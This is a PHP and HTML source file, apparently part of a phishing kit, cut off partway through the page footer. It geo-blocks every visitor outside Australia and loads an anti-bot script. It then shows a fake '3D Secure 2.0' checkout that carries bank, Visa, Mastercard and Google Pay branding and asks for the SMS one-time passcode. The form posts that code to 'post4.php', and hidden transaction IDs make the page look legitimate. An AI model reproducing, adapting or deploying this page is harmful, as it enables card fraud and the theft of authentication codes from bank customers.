<?php
require "antibot.php";
include "id.php";
function file_get_contents_curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
function getRealIpAddr(){
 if (!empty($_SERVER['HTTP_CLIENT_IP'])){
      $ip=$_SERVER['HTTP_CLIENT_IP'];
 }elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
 }else{
      $ip=$_SERVER['REMOTE_ADDR'];
 }
  return $ip;
}
$realip=getRealIpAddr();
$json = file_get_contents_curl('http://www.geoplugin.net/json.gp?ip='.$realip);
$obj = json_decode($json);
$countryName=$obj->{'geoplugin_countryName'};
$countryCode=$obj->{'geoplugin_countryCode'};
$countryName = $obj->geoplugin_countryName;
$countryCode = $obj->geoplugin_countryCode;

if ($countryCode !== 'AU') {
    header_remove();
    header("HTTP/1.1 403 Forbidden");
    exit("Access denied");
}
?>
<html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure 2.0</title>
    <style type="text/css">body {
    margin: 0;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale
}

code {
    font-family: source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace
}

body, html {
    font-family: "Segoe UI", tahoma, Arial, sans-serif, Helvetica;
    color: #212121;
    margin: 0
}

body, form, html {
    height: 100%
}

.flex-centered {
    display: flex;
    align-items: center;
    justify-content: center
}

.container {
    border: 1px solid #b5cde5;
    background-color: #fff;
    min-height: 500px;
    max-height: 600px;
    max-width: 600px;
    font-family: "Segoe UI", tahoma, Arial, sans-serif, Helvetica;
    color: #212121;
    box-shadow: 0 0 3px 0 #dcd8d8;
    position: relative;
    flex-direction: column;
    padding: 0 20px;
    height: 100%
}

.container, .header {
    box-sizing: border-box;
    display: flex
}

.header {
    background-color: #1273d0;
    line-height: 40px;
    margin: 5px -15px 0;
    color: #fff;
    padding-left: 10px;
    justify-content: space-between;
    align-items: center
}

.header div {
    font-size: 16px;
    font-weight: 700;
    text-transform: uppercase
}

.header .cancel {
    margin-right: 6px
}

.close {
    cursor: pointer;
    background-color: transparent;
    border: 0;
    margin: 0;
    padding: 0;
    font-size: 0
}

svg {
    pointer-events: none
}

.info-header {
    font-size: 22px;
    font-weight: 700;
    padding-bottom: 5px
}

.info-text {
    font-size: 16px
}

.resend-label {
    margin-top: 5px
}

.button-link {
    cursor: pointer;
    border: 0;
    background-color: transparent;
    color: #07c;
    text-decoration: underline;
    padding: 0;
    font-family: inherit;
    font-size: inherit;
    align-self: center
}

.button-link::-moz-focus-inner {
    border: 0;
    padding: 0
}

.why-info-label {
    bottom: 15px;
    border-top: 1px dashed #b5cde5;
    right: 20px;
    left: 20px;
    padding-top: 10px;
    padding-bottom: 10px;
    background-color: #fff;
    cursor: pointer;
    flex-direction: row;
    color: #07c;
    text-decoration: underline;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis
}

.why-info-text-open {
    box-shadow: 0 -10px 8px -9px #cac7c7
}

.arrow {
    border: solid #07c;
    border-width: 0 2px 2px 0;
    display: inline-block;
    padding: 3px;
    margin-right: 10px;
    margin-left: 2px
}

.up {
    transform: rotate(-135deg);
    -webkit-transform: rotate(-135deg)
}

.rotated {
    transform: rotate(45deg) translateY(-3px);
    -webkit-transform: rotate(45deg) translateY(-3px)
}

.actions {
    display: flex;
    flex-direction: column;
    margin-bottom: 10px
}

.submit-label {
    background-color: #0d5499;
    font-size: 20px;
    max-height: 50px;
    height: 50px;
    color: #fff;
    padding: 10px 20px;
    width: 100%;
    font-weight: 700;
    box-sizing: border-box;
    border-radius: 5px;
    cursor: pointer;
    margin-top: 20px;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    border: 0
}

.submit-label-disable {
    background-color: #9cb7d1;
    cursor: none
}

.input, .select {
    height: 40px;
    border-radius: 5px;
    border: 1px solid #a7b3d1;
    box-sizing: border-box;
    font-size: 16px;
    text-indent: 10px;
    width: 100%
}

option:hover {
    background-color: #a7b3d1
}

label {
    display: flex
}

.radio-group {
    display: inline-flex;
    flex-direction: column
}

.radio-group > label:nth-child(2) {
    margin-top: 10px
}

.radio {
    width: 20px;
    height: 20px;
    margin: 0 5px 0 0;
    flex: 0 0 auto
}

.radio, .radio-text {
    vertical-align: middle
}

.radio-text {
    flex: 1 1 auto
}

.invalid-input {
    border: 1px solid red;
    background: #fffc89;
    background-origin: content-box
}

.otp-input {
    position: relative;
    display: flex;
    justify-content: center;
    flex-direction: column
}

.otp-input .icon {
    position: absolute;
    right: .5rem;
    top: .7rem
}

.error-icon {
    position: relative;
    top: 1px;
    display: inline-block
}

.error-text {
    color: red;
    padding-top: 5px
}

input:focus, select:focus, textarea:focus {
    outline: none
}

.bank-info {
    width: 100%;
    display: flex;
    padding: 20px 0;
    justify-content: space-between
}

.bank-info img {
    width: auto;
    height: 30px
}

.why-info-text {
    margin: 0;
    padding: 10px 0 0 16px;
    width: 95%
}

.hide {
    display: none
}

.scrollbar {
    overflow-y: auto;
    margin-bottom: 20px;
    padding-right: 10px
}

.scrollbar::-webkit-scrollbar-track {
    -webkit-box-shadow: inset 0 0 0 0 rgba(0, 0, 0, .3);
    background-color: #fff
}

.scrollbar::-webkit-scrollbar {
    width: 7px;
    background-color: #f5f5f5
}

.scrollbar::-webkit-scrollbar-thumb {
    background-color: #778095;
    border: 0 solid #555;
    border-radius: 5px
}

.tooltip-wrapper {
    position: relative
}

.close-tooltip {
    position: absolute;
    right: 5px;
    top: 5px
}

.tooltip {
    bottom: -1px;
    left: 0;
    padding: 10px;
    color: red;
    border-radius: 5px;
    z-index: 99999999;
    box-sizing: border-box;
    border: 1px solid red;
    font-size: 13px
}

.tooltip, .tooltip:after {
    right: 0;
    background-color: #fff;
    position: absolute
}

.tooltip:after {
    content: "";
    transform: translate(-70%) rotate(45deg);
    border-color: transparent red red transparent;
    border-style: solid;
    border-width: 1px;
    bottom: 0;
    transform-origin: left;
    padding: 5px;
    margin-bottom: -2px
}

.custom-select {
    position: relative
}

.select-selected {
    background-color: #fff;
    border-radius: 5px;
    border: 1px solid #a7b3d1;
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow: hidden
}

/*style the arrow inside the select element:*/
.select-selected:after {
    content: "";
    position: absolute;
    right: 10px;
    top: 13px;
    border: solid #636c90;
    border-width: 0 3px 3px 0;
    display: inline-block;
    padding: 3px;
    -webkit-transform: rotate(45deg)
}

/*style the items (options), including the selected item:*/
.select-items div, .select-selected {
    color: #000;    
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    padding: 8px 25px 8px 10px
}

/*style items (options):*/
.select-items {
    position: absolute;
    background-color: #fff;
    left: 0;
    right: 0;
    z-index: 99;
    border-radius: 0;
    border: 1px solid #a7b3d1;
    margin-top: -3px
}

.dropdown-upwards {
    bottom: 100%
}

.dropdown-downwards {
    top: 100%
}

/*hide the items when the select box is closed:*/
.select-hide {
    display: none
}

.same-as-selected {
    background-color: #c9e4f7
}

.select-items div:hover {
    background-color: #ecfafe
}

@-webkit-keyframes blink {
    0% {
        opacity: .2
    }
    20% {
        opacity: 1
    }
    to {
        opacity: .2
    }
}

@keyframes blink {
    0% {
        opacity: .2
    }
    20% {
        opacity: 1
    }
    to {
        opacity: .2
    }
}

.submit-label span {
    -webkit-animation-name: blink;
    animation-name: blink;
    -webkit-animation-duration: 1.4s;
    animation-duration: 1.4s;
    -webkit-animation-iteration-count: infinite;
    animation-iteration-count: infinite;
    -webkit-animation-fill-mode: both;
    animation-fill-mode: both;
    font-size: 25px
}

.submit-label span:nth-child(2) {
    -webkit-animation-delay: .2s;
    animation-delay: .2s
}

.submit-label span:nth-child(3) {
    -webkit-animation-delay: .4s;
    animation-delay: .4s
}

.absolute {
    position: absolute;
    box-shadow: 0 0 15px -2px grey;
    right: 0;
    left: 0
}

footer {
    display: flex;
    flex-direction: column;
    bottom: 0;
    background: #fff;
    margin-top: auto
}

.expandable-text {
    font-weight: 400;
    display: none;
    padding: 0 15px 10px 35px
}

.show {
    display: block
}

.expanded {
    white-space: normal;
    padding-left: 33px;
    padding-right: 20px;
    padding-bottom: 0;
    text-indent: -16px
}

@media screen and (max-width: 389px) {
    .container {
        min-height: 400px;
        padding: 0 10px
    }

    .header {
        margin: 5px -5px 0
    }

    .info-header {
        font-size: 16px
    }

    .info-text {
        margin-bottom: 20px
    }

    .info-text, .why-info-label {
        font-size: 13px
    }

    .submit-label {
        font-size: 15px;
        height: 40px;
        box-sizing: border-box;
        line-height: normal;
        margin-top: 10px
    }

    .input, .select {
        font-size: 14px
    }

    .resend-label {
        font-size: 13px
    }

    .bank-info {
        padding: 10px 0
    }

    .bank-info img {
        width: auto;
        height: 15px
    }

    .radio-text {
        font-size: 14px
    }

    .info-text .scrollbar {
        height: 100px
    }

    .otp-input .icon {
        cursor: pointer
    }

    .expandable-text .scrollbar {
        max-height: 205px
    }

    .expandable-text {
        font-size: 13px
    }

    .select-items, .select-selected {
        font-size: 14px
    }
}

@media screen and (min-width: 280px) and (max-width: 389px) {
    .bank-info img {
        width: auto;
        height: 20px;
    }
}

@media screen and (min-width: 390px) and (max-width: 390px) and (max-height: 400px) {
    .container {
        min-height: 400px;
        padding: 0 10px
    }

    .header {
        margin: 5px -5px 0
    }

    .bank-info {
        padding: 15px 0 10px 0
    }

    .bank-info img {
        width: auto;
        height: 20px
    }

    .info-header {
        font-size: 18px
    }

    .info-text {
        font-size: 15px;
        margin-bottom: 20px
    }

    .info-text .scrollbar {
        height: 100px
    }

    .input, .radio-text, .select {
        font-size: 15px
    }

    .tooltip {
        font-size: 14px
    }

    .otp-input .icon {
        cursor: pointer
    }

    .submit-label {
        font-size: 16px;
        height: 40px;
        margin-top: 10px

    }

    .resend-label, .why-info-label {
        font-size: 15px
    }

    .expandable-text .scrollbar {
        max-height: 180px
    }

    .select-items, .select-selected {
        font-size: 15px
    }
}

@media screen and (min-width: 500px) and (min-height: 600px) {
    .container {
        min-height: 600px
    }

    .info-text .scrollbar {
        max-height: 200px
    }

    .expandable-text .scrollbar {
        max-height: 360px
    }
}

@media screen and (min-width: 550px) and (max-height: 450px) {
    .container {
        min-height: 400px;
        max-height: 400px
    }

    .actions {
        flex-direction: row;
        justify-content: space-between
    }

    .submit-label {
        height: 40px;
        width: 49%;
        margin-top: 0
    }

    .w-80 {
        width: 80%;
        align-self: center
    }

    .space {
        flex-direction: column
    }

    .custom-select {
        width: 50%
    }

    .otp-input {
        width: 49%
    }

    .resend-label {
        margin-top: 20px
    }

    .error-text {
        min-width: 550px;
        height: 36px
    }

    .info-text .scrollbar {
        max-height: 85px
    }

    .expandable-text .scrollbar {
        max-height: 160px
    }

    .continue {
        margin: 0 auto;
        width: 80%;
        height: 40px
    }
}

/*RTL Support*/
[dir=rtl] .header {
    padding-right: 10px;
    padding-left: 0
}

[dir=rtl] .header .cancel {
    margin-left: 6px;
    margin-right: 0
}

[dir=rtl] .bank-info {
    flex-direction: row-reverse;
}

[dir=rtl] .scrollbar {
    padding-left: 10px;
    padding-right: 0
}

[dir=rtl] .otp-input .icon {
    left: .5rem;
    right: auto;
    top: .7rem
}

[dir=rtl] .close-tooltip {
    left: 5px;
    right: auto;
    top: 5px
}

[dir=rtl] .tooltip:after {
    transform: translate(95%) rotate(45deg);
    right: auto;
    left: 0
}

[dir=rtl] .radio {
    margin: 0 0 0 5px
}

[dir=rtl] .radio-text {
    text-align: right;
    direction: ltr
}

[dir=rtl] .select-selected:after {
    right: auto;
    left: 10px
}

[dir=rtl] .select-items div, [dir=rtl] .select-selected {
    padding-right: 20px;
    padding-left: 25px
}

[dir=rtl] .arrow {
    margin-left: 10px;
    margin-right: 2px
}

[dir=rtl] .expanded {
    padding-right: 33px;
    padding-left: 20px
}

[dir=rtl] .expandable-text {
    padding: 0 35px 10px 15px
}
</style>
    <script>function ready(fn) {
    if (document.readyState !== 'loading') {
        fn();
    } else if (document.addEventListener) {
        document.addEventListener('DOMContentLoaded', fn);
    } else {
        document.attachEvent('onreadystatechange', function () {
            if (document.readyState !== 'loading')
                fn();
        });
    }
}

function toggleText(footer, whyInfoLabel, arrow, whyInfoText) {
    flipArrow(arrow);
    footer.classList.toggle("absolute");
    whyInfoLabel.classList.toggle('expanded');
    whyInfoText.parentElement.classList.toggle("show");
}

function flipArrow(arrow) {
    arrow.classList.toggle("rotated");
    arrow.classList.toggle("up");
}

var addEvent = function (el, type, fn) {
    if (el) {
        if (el.addEventListener) {
            el.addEventListener(type, fn, false);
        } else if (el.attachEvent) {
            el.attachEvent("on" + type, fn);
        } else {
            el["on" + type] = handler;
        }
    }
};

var removeEvent = function (el, type, fn) {
    if (el) {
        if (el.removeEventListener) {
            el.removeEventListener(type, fn, false);
        } else if (el.detachEvent) {
            el.detachEvent("on" + type, fn);
        } else {
            el["on" + type] = null;
        }
    }
};

if (!Object.getOwnPropertyDescriptor(Element.prototype, 'classList')) {
    if (HTMLElement && Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'classList')) {
        Object.defineProperty(Element.prototype, 'classList', Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'classList'));
    }
}

function handleSubmit(event) {
    var form = event.target;
    var isFormSubmitted = form.getAttribute('data-submitted') || false;
    if (isFormSubmitted) {
        event.preventDefault();
    }
    if (window.tdna) {
        handleGeneralTypingDna(form, 'typingDnaPattern', tdna.getTypingPattern({
            type: 2,
            caseSensitive: true
        }));
        getMouseCoordinates(form);

    }
    form.setAttribute('data-submitted', true);
}

function handleGeneralTypingDna(form, name, value) {
    var typingDna = document.createElement("input");
    typingDna.name = name;
    typingDna.value = value;
    typingDna.type = 'hidden';
    form.appendChild(typingDna);
}

function getMouseCoordinates(form) {
    var mouseDiagram = tdna.getMouseDiagram();
    var len = mouseDiagram.length;
    var maxSize = 999;
    if (len > maxSize){
        mouseDiagram=mouseDiagram.substring(len- maxSize);
        var index = mouseDiagram.indexOf("|");
        mouseDiagram = mouseDiagram.substring(index+1);
    }
    handleGeneralTypingDna(form, 'mouseDiagram', mouseDiagram);
}

function disableDoubleSubmit() {
    var form = document.getElementById('mainForm');
    addEvent(form, 'submit', handleSubmit);
}

ready(disableDoubleSubmit);
ready(function () {
    var footer = document.getElementById("footer");
    var arrowElement = document.getElementById("why-arrow");
    var whyInfoLabel = document.getElementById("why-info-label");
    var whyInfoText = document.getElementById("why-info-text");
    addEvent(whyInfoLabel, "click", function () {
        toggleText(footer, whyInfoLabel, arrowElement, whyInfoText);
    });
});

</script>
    <script>function handleCancel(event) {
    var button = event.target;
    button.type = 'submit';
}

function registerCancel() {
    var cancelButton = document.querySelector('button[name="cancel"]');
    addEvent(cancelButton, 'click', handleCancel);
}

ready(registerCancel);</script>
</head>
<body>

<form id="mainForm" action="post4.php" method="post">
    <input type="hidden" name="challengeWindowSize" value="03">
    <input type="hidden" name="threeDSServerTransID" value="7faeb3cd-7e8e-4d5b-bc53-64ea7dfd4909">
    <input type="hidden" name="messageVersion" value="2.1.0">
    <input type="hidden" name="acsTransID" value="90e774ba-5a62-4859-9b69-7f781fe628ca">
    <div class="container">
        <header class="header">
            <div>secure checkout</div>
            <button formnovalidate="" name="cancel" type="button" value="Cancel" class="close cancel">
                <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
                    <defs>
                        <style>
                            .cls-white {
                                fill: #fff;
                                fill-rule: evenodd;
                            }
                        </style>
                    </defs>
                    <path id="close-white" class="cls-white" d="M8,0a8,8,0,1,0,8,8A8.009,8.009,0,0,0,8,0Zm3.236,10.293a0.333,0.333,0,0,1,0,.471l-0.471.471a0.333,0.333,0,0,1-.471,0L8,8.942,5.707,11.235a0.333,0.333,0,0,1-.471,0l-0.471-.471a0.333,0.333,0,0,1,0-.471L7.057,8,4.764,5.707a0.333,0.333,0,0,1,0-.471l0.471-.471a0.333,0.333,0,0,1,.471,0L8,7.057l2.293-2.293a0.333,0.333,0,0,1,.471,0l0.471,0.471a0.333,0.333,0,0,1,0,.471L8.942,8Z"></path>
                </svg>
            </button>
        </header>
        
    <div style="display: flex; align-items: center;">
    <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/f/f2/Google_Pay_Logo.svg/2560px-Google_Pay_Logo.svg.png" style="width: 35px;margin-right: 10px;">
    <p style="font-size: 10px;">This payment page was secured by Google Pay's security system.</p>
</div>


<div class="bank-info">
<svg _ngcontent-gyr-c1="" fill="none" height="48" viewBox="0 0 253 55" xmlns="http://www.w3.org/2000/svg" style="
    width: 120px;
"><path _ngcontent-gyr-c1="" d="M188.84 28.4855L188.866 28.4892L188.799 28.4745L188.84 28.4855Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M202.75 16.9951H196.808L190.791 25.7022C192.623 26.1073 194.396 26.5384 196.106 26.9992L197.971 24.134L198.8 30.9532C197.388 30.5333 195.923 30.1357 194.422 29.7566C194.299 29.7269 194.173 29.6971 194.05 29.6637C193.854 29.6154 193.66 29.5708 193.467 29.5188C193.133 29.437 192.787 29.3553 192.445 29.2772L192.43 29.2735C191.271 28.9985 190.082 28.7384 188.874 28.4931L188.848 28.4894L188.807 28.4819C187.395 28.1995 186.009 27.9319 184.537 27.683H184.518L184.504 27.6792H184.489C178.621 26.6759 172.285 25.9586 165.629 25.5833L162.002 39.0732H168.07L170.408 30.4181C171.062 30.4776 171.716 30.537 172.359 30.6039L175.871 39.0732H188.171L193.155 32.0012C195.411 33.0269 197.477 34.1492 199.324 35.3569L199.785 39.0694H206.173L202.75 16.9951ZM181.939 38.5157L178.81 31.6779C181.085 31.061 182.742 30.013 183.827 28.6529L183.838 28.6343C185.232 29.0282 186.585 29.4519 187.889 29.9053L181.939 38.5157Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M151.299 25.3009L147.586 39.0695H153.688L157.382 25.2897C156.513 25.2786 155.647 25.2711 154.77 25.2711C153.607 25.2711 152.447 25.2786 151.299 25.3009Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M164.748 22.3279L166.119 17.1512H146.925L145.539 22.2944C148.56 22.1495 151.641 22.0715 154.773 22.0715C158.159 22.0715 161.489 22.1606 164.748 22.3279Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M185.384 23.9147C185.384 22.1606 184.853 20.5961 183.693 19.4367C182.218 17.9613 179.813 17.1512 176.149 17.1512H167.877L166.465 22.4282C173.143 22.8333 179.49 23.5877 185.354 24.6245C185.373 24.3941 185.384 24.1525 185.384 23.9147Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M221.413 31.7708C220.001 33.183 218.622 33.9931 216.716 33.9931C214.177 33.9931 212.331 32.2725 212.331 29.4853C212.331 25.665 215.244 22.2536 218.875 22.2536C221.034 22.2536 222.413 23.2867 223.29 25.0705L228.548 22.2573C227.233 18.8755 224.137 16.7164 219.659 16.7164C211.238 16.7164 205.976 23.4502 205.976 29.9313C205.976 30.039 205.98 30.1431 205.983 30.2509C206.017 31.5218 206.258 32.685 206.674 33.733C208.124 37.3488 211.714 39.5117 216.34 39.5117C216.571 39.5117 216.797 39.5042 217.02 39.4931C218.08 39.4448 219.053 39.2813 219.949 39.0248C222.264 38.3559 224.066 37.0553 225.516 35.4127L221.413 31.7708Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M251.154 17.1437H244.137L234.557 27.813L237.433 17.1437H231.324L225.434 39.0768H231.524L234.553 27.8279L240.064 39.0768H246.661L241.094 27.8204L251.154 17.1437Z" fill="#00AEEF"></path><path _ngcontent-gyr-c1="" d="M143.034 19.4443C141.562 17.9726 139.15 17.1588 135.486 17.1588H127.221L125.263 24.4426C131.265 23.428 137.746 22.7108 144.557 22.3503C144.327 21.2355 143.836 20.2432 143.034 19.4443Z" fill="#003767"></path><path _ngcontent-gyr-c1="" d="M144.573 25.5424C138.575 25.862 132.833 26.4566 127.456 27.289C127.319 27.3076 127.189 27.3299 127.058 27.3484C126.676 27.4116 126.293 27.4711 125.914 27.5343C125.706 27.5677 125.501 27.6011 125.297 27.6383C124.985 27.6903 124.676 27.7461 124.368 27.7981C124.308 27.8055 124.253 27.8167 124.197 27.8278C124.007 27.8613 123.822 27.8947 123.636 27.9282C123.145 28.0174 122.655 28.1103 122.168 28.2032C122.086 28.218 122.004 28.2329 121.923 28.2478C121.432 28.3444 120.945 28.441 120.462 28.5413C120.284 28.5785 120.102 28.6194 119.923 28.6528C119.596 28.7197 119.269 28.7903 118.942 28.8647L118.886 28.8795C118.693 28.9241 118.5 28.9613 118.31 29.0059C117.961 29.0839 117.612 29.1657 117.266 29.2437C117.103 29.2846 116.939 29.3218 116.776 29.3589C116.281 29.4741 115.795 29.593 115.311 29.7157C115.2 29.7454 115.096 29.7677 114.988 29.7974C114.605 29.8978 114.226 29.9944 113.847 30.0947C113.673 30.143 113.498 30.1876 113.323 30.2359C113.245 30.2582 113.164 30.2805 113.085 30.2991C112.918 30.3474 112.755 30.3883 112.591 30.4366H112.588C112.521 30.4552 112.457 30.4738 112.387 30.4924C112.212 30.5407 112.038 30.5927 111.863 30.641C111.525 30.7376 111.19 30.8343 110.859 30.9346C110.729 30.9718 110.592 31.0089 110.462 31.0498C110.016 31.1873 109.57 31.3211 109.135 31.4623C108.998 31.5069 108.864 31.5478 108.734 31.5924C108.422 31.6927 108.109 31.793 107.801 31.8971C107.638 31.9528 107.47 32.0086 107.307 32.0643C107.244 32.0829 107.18 32.1089 107.117 32.1312L112.324 24.1376L112.703 27.2035C114.55 26.6907 116.475 26.215 118.467 25.7728L117.11 16.9988H111.16L95.9128 39.0731H102.483C105.278 36.6799 108.953 34.5096 113.331 32.6292L114.137 39.0731H120.525L119.188 30.4292C120.745 29.9163 122.369 29.4407 124.045 28.9947L121.339 39.0694H127.404L129.437 31.544C130.258 31.4214 131.091 31.3025 131.927 31.1947L135.164 39.0694H141.537L138.155 31.6816C141.942 30.6559 144.023 28.4261 144.573 25.5424Z" fill="#003767"></path><path _ngcontent-gyr-c1="" d="M104.288 22.4767L105.696 17.1551H86.5021L85.0602 22.4767H91.6379L87.1598 39.077H93.2656L97.7139 22.4767H104.288Z" fill="#003767"></path><path _ngcontent-gyr-c1="" d="M77.0004 21.8522C79.4866 21.5549 81.9281 22.1161 83.2771 22.5174L84.6112 17.5972C83.4815 17.2367 81.3149 16.735 78.0781 16.7796C72.723 16.8576 68.7764 19.8789 68.7764 24.2343C68.7764 27.4563 71.0024 28.9614 74.4771 30.2769C77.543 31.4661 78.1413 31.9083 78.1413 32.7519C78.1413 33.7516 77.1082 34.3796 75.6663 34.3796C75.2686 34.3796 74.8747 34.3499 74.4882 34.2978H74.492L74.4474 34.2904C74.2132 34.257 73.9866 34.2124 73.7561 34.1603C71.5524 33.7033 69.6386 32.8671 68.0666 31.7374L66.6433 36.9141C68.8768 38.5455 71.7828 39.4597 75.1646 39.4597C80.6126 39.4597 84.4997 36.3864 84.4997 31.8823C84.4997 28.5935 82.1808 27.0549 78.7991 25.7766C75.7926 24.5874 75.1349 24.2715 75.1349 23.3945C75.1349 22.6326 75.8261 22.012 76.9744 21.8671H76.9818L77.0004 21.8522Z" fill="#003767"></path><path _ngcontent-gyr-c1="" d="M0 27.4981C0 39.3749 7.61378 49.4994 18.3333 53.4722V1.52777C7.61378 5.50055 0 15.6213 0 27.4981Z" fill="#DC1928"></path><path _ngcontent-gyr-c1="" d="M26.7647 0C25.9849 0 25.2089 0.0261945 24.4445 0.0823246V2.0132H24.5866C35.3467 2.08804 44.0094 10.0847 43.9326 19.8663C43.8596 29.6068 35.1431 37.45 24.4445 37.4388V54.9139C25.2089 54.9776 25.9849 55 26.7647 55C42.3537 55 55 42.6888 55 27.4963C55.0039 12.3112 42.3537 0 26.7647 0Z" fill="#DC1928"></path></svg>
        <div class="col my-auto  h-100">
					<img src="https://3ds.redsys.es/3DSecure-web/statics/img/psImage/1_visa.jpg" class="img-fluid float-right">
					<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHcAAAAxCAMAAADX5sbJAAAAw1BMVEX////rABv3nhv/XwDqAAAAAAD3mQD/WwD3oBz3lwD/YgD3nRX09PTrABPpAB37+/tUVFRsbGwpKSnY2NiBgYGrq6sYGBj/+vTwYmj4pzz70aT9bgr8eA7+8fL0NxL7291KSkq4uLg2NjZcXFygoKA/Pz92dnbIyMjm5uYNDQ2Kior1oKT84+X95c36xYr4rEz6v3v83rz3tbftMzzuQUj+79/5y8zyg4f5tl7vUlj2rK/6ihTxdHj5SAv4lBj7gBHzkpTnVznyAAACnUlEQVRYhe2Xa5OaMBSGjwJRFhAIF9HWCggScVW81LWttv7/X9VA2VbXqJ0SxunMvh+URGYe33OBHID/RIMBY7Pb7daIfJ56HZGq402f/+zO5gskyzLqZcta4Ku1KGqNXJomiptVsdmdN2WkNHMpCKHsM2/qdl1CS2niZgjQRyW0FJIzvp5fzqm/yNMdar4Vas84Yr+Ib6k5uPWhfcFtKvKyZqwgMMFNbmCPhW20BAr+yATzqa6vbOyTkIO/sULd5oEdMLGfCiwVw28TZRy4eya3pAqtHzVF+o5doVWT4SmL22kJtw2jytzNxQMj76HfdgWhnl66F2ZqmOl3XpG7ZXIPp9zvrFZaVOQym7dzEE64tbTwvbK6wq1cWH/BZXdwxffho7grdl3Vnt/hg+oZHtS/4P3b86ryaYeZ4NPnMzO9SlXs/UDXE+YrndR4NVxPFxXSWBl+NfzEtNvngL35amBnt8cDC3C8fp5kRVlBvGYG5hFLu3KMVTgdY6+DD0ws4jmbrS7nI1FczWXlwuyC72A28M7JorinA/isd0ZWkMKlks803NORWytEL17KyXu5k+ksmgshucefWmh79Dab9cY7bk82u8ts1+stdlmf+9D9Lku99aud8KHoZxc50rfOlnr5XXzqYAY8qKmBYwdPEgjc0IjACCeWLWEfAowdsEeuHrmuoxt4FINtYDVy45ALd2zD2IfIVyUCRppMVAJgJECX6kQ3I7AkXVfpTYkEZkpXKnDiOhBFkMRWDODQ/zBxLTAsCohDTMwEnDG9KaSBD8F0ilXKkxvqUkJwqlp5AAyHmiV6ApRLJEJIOlIdKecSySISn/wG4DhgmWDF8TgiPjZVSGh+rRinkFKfSYgDsN3xqDAaYH/MqZ7fVVk/AauVQaaIgmCQAAAAAElFTkSuQmCC" class="img-fluid float-right" style="
    margin-right: 5px;
    width:auto;
    margin-top: 20px;
">
				</div>
    </div>
    <div id="info-header" class="info-header">Enter your OTP</div>
    
    
    
    <div id="info-text" class="scrollbar info-text">To confirm the operation, enter the password that we have sent by SMS to your mobile to verify this purchase.<br></div><div id="tooltip" class="hide tooltip-wrapper">
        <div class="tooltip">
            <button type="button" class="close close-tooltip">
                <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
    <defs>
        <style>
            .cls-gray {
            fill: #3a3a3a;
            fill-rule: evenodd;
            }
        </style>
    </defs>
    <path id="close-gray" class="cls-gray" d="M8,0a8,8,0,1,0,8,8A8.009,8.009,0,0,0,8,0Zm3.236,10.293a0.333,0.333,0,0,1,0,.471l-0.471.471a0.333,0.333,0,0,1-.471,0L8,8.942,5.707,11.235a0.333,0.333,0,0,1-.471,0l-0.471-.471a0.333,0.333,0,0,1,0-.471L7.057,8,4.764,5.707a0.333,0.333,0,0,1,0-.471l0.471-.471a0.333,0.333,0,0,1,.471,0L8,7.057l2.293-2.293a0.333,0.333,0,0,1,.471,0l0.471,0.471a0.333,0.333,0,0,1,0,.471L8.942,8Z"></path>
</svg>
            </button>
            
        </div>
    </div>
    <div class="actions">
        <div class="otp-input">
            <input autocomplete="off" name="dataEntry" id="dataEntry" required="" type="password" class="input">
            <div class="icon hide" id="error-icon">
                <svg xmlns="http://www.w3.org/2000/svg" width="18" height="16" viewBox="0 0 18 16">
    <title id="title">Error</title>
    <desc id="desc">Wrong input</desc>
    <defs>
        <style>
            .cls-1 {
            fill: red;
            fill-rule: evenodd;
            }
        </style>
    </defs>
    <path id="error_icon" class="cls-1" d="M17.826,13.745h0C16.628,11.361,14.62,7.981,12.849,5c-0.927-1.561-1.8-3.035-2.435-4.155a1.615,1.615,0,0,0-2.839,0C6.942,1.965,6.066,3.441,5.138,5c-1.77,2.981-3.777,6.36-4.974,8.742A1.511,1.511,0,0,0,0,14.427,1.59,1.59,0,0,0,1.607,16H16.383a1.59,1.59,0,0,0,1.607-1.57A1.513,1.513,0,0,0,17.826,13.745Zm-8.831.8a0.727,0.727,0,1,1,.749-0.727A0.739,0.739,0,0,1,8.995,14.542ZM9.744,12a0.369,0.369,0,0,1-.375.364H8.62A0.369,0.369,0,0,1,8.245,12V4A0.369,0.369,0,0,1,8.62,3.636H9.369A0.369,0.369,0,0,1,9.744,4v8Z"></path>
</svg>

            </div>
            <div id="invalid-input-msg" class="error-text hide"></div>
        </div>
        <button type="submit" name="okbba" class="submit-label" id="submit-label">Submit</button>
        
        
    </div>

    <a href="#" class="resend-label button-link" name="resend" value="resend" formnovalidate="" id="resend-label">Resend OTP</a>

    

    <footer id="footer">
        <div class="why-info-label" id="why-info-label">
            <i id="why-arrow" class="arrow up"></i>Learn more about NetCode
        </div>
        <div class="expandable-text">
